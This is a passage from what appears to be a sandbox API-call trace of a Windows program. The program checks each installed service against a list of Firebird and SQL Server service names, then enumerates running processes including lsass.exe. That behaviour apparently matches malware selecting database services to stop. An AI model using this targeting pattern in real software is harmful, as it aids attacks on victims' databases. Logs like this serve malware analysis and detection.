(lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0110.900] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0110.900] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0110.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0110.900] lstrlenW (lpString="NcbService") returned 10 [0110.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0110.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0110.900] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0110.900] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0110.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0110.900] lstrlenW (lpString="netprofm") returned 8 [0110.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0110.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0110.901] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0110.901] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0110.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0110.901] lstrlenW (lpString="NlaSvc") returned 6 [0110.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0110.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0110.901] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0110.901] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0110.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0110.901] lstrlenW (lpString="nsi") returned 3 [0110.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0110.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0110.901] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0110.901] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0110.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0110.901] lstrlenW (lpString="PcaSvc") returned 6 [0110.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0110.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0110.901] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0110.901] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0110.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0110.901] lstrlenW (lpString="PlugPlay") returned 8 [0110.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0110.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0110.901] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0110.902] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0110.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0110.902] lstrlenW (lpString="Power") returned 5 [0110.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0110.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0110.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0110.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0110.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0110.902] lstrlenW (lpString="ProfSvc") returned 7 [0110.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0110.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0110.902] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0110.902] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0110.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0110.902] lstrlenW (lpString="RpcEptMapper") returned 12 [0110.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0110.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0110.902] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0110.902] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0110.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0110.902] lstrlenW (lpString="RpcSs") returned 5 [0110.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0110.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0110.902] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0110.902] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0110.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0110.903] lstrlenW (lpString="SamSs") returned 5 [0110.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0110.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0110.903] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0110.903] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0110.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0110.903] lstrlenW (lpString="Schedule") returned 8 [0110.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0110.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0110.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0110.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0110.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0110.903] lstrlenW (lpString="SecurityHealthService") returned 21 [0110.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0110.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0110.903] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0110.903] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0110.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0110.903] lstrlenW (lpString="SENS") returned 4 [0110.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0110.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0110.903] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0110.903] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0110.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0110.903] lstrlenW (lpString="ShellHWDetection") returned 16 [0110.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0110.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0110.904] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0110.904] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0110.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0110.904] lstrlenW (lpString="Spooler") returned 7 [0110.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0110.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0110.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0110.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0110.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0110.904] lstrlenW (lpString="SSDPSRV") returned 7 [0110.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0110.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0110.904] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0110.904] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0110.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0110.904] lstrlenW (lpString="StateRepository") returned 15 [0110.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0110.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0110.904] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0110.904] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0110.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0110.904] lstrlenW (lpString="SysMain") returned 7 [0110.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0110.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0110.905] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0110.905] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0110.905] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0110.905] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x31c [0111.199] Process32FirstW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.200] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0111.201] lstrlenW (lpString="System") returned 6 [0111.201] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0111.202] lstrlenW (lpString="smss.exe") returned 8 [0111.202] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.203] lstrlenW (lpString="csrss.exe") returned 9 [0111.203] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0111.204] lstrlenW (lpString="wininit.exe") returned 11 [0111.204] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.205] lstrlenW (lpString="csrss.exe") returned 9 [0111.205] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0111.206] lstrlenW (lpString="winlogon.exe") returned 12 [0111.206] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0111.207] lstrlenW (lpString="services.exe") returned 12 [0111.207] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0111.208] lstrlenW (lpString="lsass.exe") returned 9 [0111.208] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.209] lstrlenW (lpString="svchost.exe") returned 11 [0111.209] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0111.210] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0111.210] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0111.211] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0111.211] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.212] lstrlenW (lpString="svchost.exe") returned 11 [0111.212] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0111.213] lstrlenW (lpString="dwm.exe") returned 7 [0111.213] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.213] lstrlenW (lpString="svchost.exe") returned 11 [0111.214] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.214] lstrlenW (lpString="svchost.exe") returned 11 [0111.215] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.215] lstrlenW (lpString="svchost.exe") returned 11 [0111.215] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.216] lstrlenW (lpString="svchost.exe") returned 11 [0111.216] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.217] lstrlenW (lpString="svchost.exe") returned 11 [0111.217] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.218] lstrlenW (lpString="svchost.exe") returned 11 [0111.218] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.219] lstrlenW (lpString="svchost.exe") returned 11 [0111.219] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.220] lstrlenW (lpString="svchost.exe") returned 11 [0111.220] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.221] lstrlenW (lpString="svchost.exe") returned 11 [0111.221] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0111.222] lstrlenW (lpString="spoolsv.exe") returned 11 [0111.222] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.223] lstrlenW (lpString="svchost.exe") returned 11 [0111.223] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.224] lstrlenW (lpString="svchost.exe") returned 11 [0111.224] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0111.225] lstrlenW (lpString="audiodg.exe") returned 11 [0111.225] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0111.226] lstrlenW (lpString="sihost.exe") returned 10 [0111.226] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.227] lstrlenW (lpString="svchost.exe") returned 11 [0111.227] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0111.227] lstrlenW (lpString="taskhostw.exe") returned 13 [0111.228] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0111.228] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0111.228] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0111.229] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0111.229] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0111.230] lstrlenW (lpString="explorer.exe") returned 12 [0111.230] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0111.231] lstrlenW (lpString="Memory Compression") returned 18 [0111.231] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0111.232] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0111.232] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0111.233] lstrlenW (lpString="SearchUI.exe") returned 12 [0111.233] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0111.234] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0111.234] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0111.235] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0111.235] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0111.236] lstrlenW (lpString="taskhostw.exe") returned 13 [0111.236] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0111.237] lstrlenW (lpString="UsoClient.exe") returned 13 [0111.237] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0111.238] lstrlenW (lpString="taskhostw.exe") returned 13 [0111.238] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0111.392] lstrlenW (lpString="msoia.exe") returned 9 [0111.392] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0111.393] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0111.393] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0111.394] lstrlenW (lpString="msoia.exe") returned 9 [0111.394] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0111.395] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0111.395] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0111.405] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0111.405] Process32NextW (in: hSnapshot=0x31c, lppe=0x256fd2c | out: 